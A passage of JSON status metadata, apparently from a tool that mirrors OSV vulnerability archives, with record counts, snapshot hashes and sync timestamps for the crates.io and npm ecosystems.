counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T15:59:29.0795742+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.0795742+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-eb69eb75f2b568fd8be458efa2db8e11aac201724ba0b44fa3f79c386f195e15","complete":true,"records":231668,"lastAttemptAt":"2026-11-11T15:59:28.847182+00:00","lastSuccessAt":"2026-11-11T15:59:27.3458308+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:28.847182+00:00","snapshotPublishedAt":"2026-11-11T15:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}